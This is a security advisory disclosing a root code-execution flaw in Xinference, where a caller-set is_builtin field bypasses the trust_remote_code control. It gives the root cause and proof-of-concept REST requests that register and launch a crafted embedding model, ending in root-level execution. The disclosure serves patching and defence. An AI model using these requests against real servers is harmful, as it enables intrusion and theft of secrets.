Xinference: Code Execution as Root via the is_builtin Field

Anyone who may register and launch models sets is_builtin to true in the registration JSON and makes the server execute Python code from the model directory as root.

Advisory ID: TP-2026-156
Product: Xinference (platform for serving language, embedding and image models)
Vulnerability type: Code execution through a bypass of the trust_remote_code control (CWE-94)
CVE: not requested
CVSS 3.1: 8.8 (High) · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected versions: verified live on 3.2.2.dev0 and commit 011608a; versions before 3.5.0 do not contain the fix
Fixed in: 3.5.0
Reported: 21 August 2026

Summary

Xinference serves language, embedding, rerank and image models through a REST API; users can register and launch their own models. Code shipped inside a model repository may only run when the operator sets XINFERENCE_TRUST_REMOTE_CODE or when the model is a bundled, vetted model; the field is_builtin records that provenance. is_builtin is, however, an ordinary field of the registration JSON that the API takes from the caller and never resets. Anyone who may register and launch models sets "is_builtin": true and makes the server execute Python code from the model directory as root in the container when the model loads.

Root cause

Line numbers refer to commit 011608a: allow_trust_remote_code permits the execution of repository code when XINFERENCE_TRUST_REMOTE_CODE is set or model_family.is_builtin is true (xinference/model/utils.py:2866).
On LLMFamilyV2 (xinference/model/llm/llm_family.py:202), EmbeddingModelFamilyV2 (xinference/model/embedding/core.py:101) and RerankModelFamilyV2 (xinference/model/rerank/core.py:83), is_builtin is an ordinary pydantic field with the default False, each with Config.extra = "allow".
register_model parses the caller's JSON with model_spec_cls.parse_raw(model) (xinference/core/supervisor.py:1925), and ModelRegistry.register stores the result unchanged (xinference/model/custom.py:59) without setting is_builtin to False for registered models.
With the field set, the loader for models whose name starts with Qwen3-VL-Embedding executes <model_path>/scripts/qwen3_vl_embedding.py through spec.loader.exec_module (xinference/model/embedding/sentence_transformers/core.py:165-176), and further loaders pass trust_remote_code=allow_trust_remote_code(self.model_family) to from_pretrained.
XINFERENCE_TRUST_REMOTE_CODE is off in the default configuration (xinference/constants.py:252), so the control is active and is overruled by a single JSON field.

Proof of Concept

POST /v1/model_registrations/embedding
{"model":"{... \"model_name\":\"Qwen3-VL-Embedding-x\",\"is_builtin\":true,\"model_specs\":[{\"model_format\":\"pytorch\",\"model_uri\":\"<dir>\",\"quantization\":\"none\"}]}","persist":false}

HTTP 200

POST /v1/models
{"model_name":"Qwen3-VL-Embedding-x","model_type":"embedding","model_engine":"sentence_transformers"}

HTTP 200

# File in the container, written by <dir>/scripts/qwen3_vl_embedding.py
/tmp/rce-<token>.txt: uid=0(root)

The model name starts with Qwen3-VL-Embedding, so the loader imports scripts/qwen3_vl_embedding.py from the given directory as a Python module when the model launches. Verified with a token holding the permissions models:register and models:write: the script wrote the output of id to a file in the container and also reported back through an outbound HTTP request. The same registration without is_builtin ends with HTTP 400 and the hint to set XINFERENCE_TRUST_REMOTE_CODE=1, as the control, and a token with only models:list and models:read receives HTTP 403.

Impact

  • Arbitrary code execution as root in the Xinference container.
  • The operator's decision against trust_remote_code is overruled by an account that may only register and launch models.
  • Access to model files and to the secrets in the server's environment.
  • In installations without authentication enabled, no account is needed for this.

References

Is Something Like This in Your Software?

Our team found this vulnerability during its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.